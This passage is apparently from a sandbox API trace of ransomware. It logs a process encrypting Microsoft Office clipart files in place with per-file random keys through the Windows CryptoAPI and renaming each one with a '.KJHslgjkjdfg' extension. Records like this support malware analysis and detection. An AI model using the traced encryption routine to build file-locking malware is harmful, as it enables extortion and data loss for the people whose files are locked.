lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.557] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1aba, lpOverlapped=0x0) returned 1 [0237.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ac0, dwBufLen=0x1ac0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ac0) returned 1 [0237.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.558] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ac0, lpOverlapped=0x0) returned 1 [0237.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.559] SetEndOfFile (hFile=0x130) returned 1 [0237.574] GetProcessHeap () returned 0x2ef0000 [0237.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.574] GetProcessHeap () returned 0x2ef0000 [0237.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.kjhslgjkjdfg")) returned 1 [0237.576] CloseHandle (hObject=0x130) returned 1 [0237.576] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0237.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.577] GetProcessHeap () returned 0x2ef0000 [0237.577] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.577] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0237.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.580] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.580] GetProcessHeap () returned 0x2ef0000 [0237.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.580] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.580] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.580] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.580] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.580] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.581] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x584, lpOverlapped=0x0) returned 1 [0237.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x590, dwBufLen=0x590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x590) returned 1 [0237.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.581] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x590, lpOverlapped=0x0) returned 1 [0237.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.581] SetEndOfFile (hFile=0x130) returned 1 [0237.584] GetProcessHeap () returned 0x2ef0000 [0237.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.584] GetProcessHeap () returned 0x2ef0000 [0237.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.kjhslgjkjdfg")) returned 1 [0237.586] CloseHandle (hObject=0x130) returned 1 [0237.586] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0237.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.587] GetProcessHeap () returned 0x2ef0000 [0237.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0237.590] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.590] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.590] GetProcessHeap () returned 0x2ef0000 [0237.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.590] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.590] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.590] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.590] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.590] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.590] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.591] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.591] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1652, lpOverlapped=0x0) returned 1 [0237.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1660, dwBufLen=0x1660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1660) returned 1 [0237.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.591] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1660, lpOverlapped=0x0) returned 1 [0237.592] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.592] SetEndOfFile (hFile=0x130) returned 1 [0237.594] GetProcessHeap () returned 0x2ef0000 [0237.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.595] GetProcessHeap () returned 0x2ef0000 [0237.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.kjhslgjkjdfg")) returned 1 [0237.597] CloseHandle (hObject=0x130) returned 1 [0237.597] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0237.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.598] GetProcessHeap () returned 0x2ef0000 [0237.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.598] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.598] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.598] GetProcessHeap () returned 0x2ef0000 [0237.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.600] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.600] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.601] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.601] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16c0, lpOverlapped=0x0) returned 1 [0237.602] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0) returned 1 [0237.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.602] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16c0, lpOverlapped=0x0) returned 1 [0237.602] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.602] SetEndOfFile (hFile=0x130) returned 1 [0237.605] GetProcessHeap () returned 0x2ef0000 [0237.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.605] GetProcessHeap () returned 0x2ef0000 [0237.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.kjhslgjkjdfg")) returned 1 [0237.606] CloseHandle (hObject=0x130) returned 1 [0237.607] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0237.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.608] GetProcessHeap () returned 0x2ef0000 [0237.608] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.608] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.608] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.608] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.608] GetProcessHeap () returned 0x2ef0000 [0237.608] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.608] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.608] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.608] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.611] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.611] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.611] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5d0, lpOverlapped=0x0) returned 1 [0237.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5d0) returned 1 [0237.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.611] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5d0, lpOverlapped=0x0) returned 1 [0237.611] CryptDestroyKey (hKey=0x2f182c8) returned 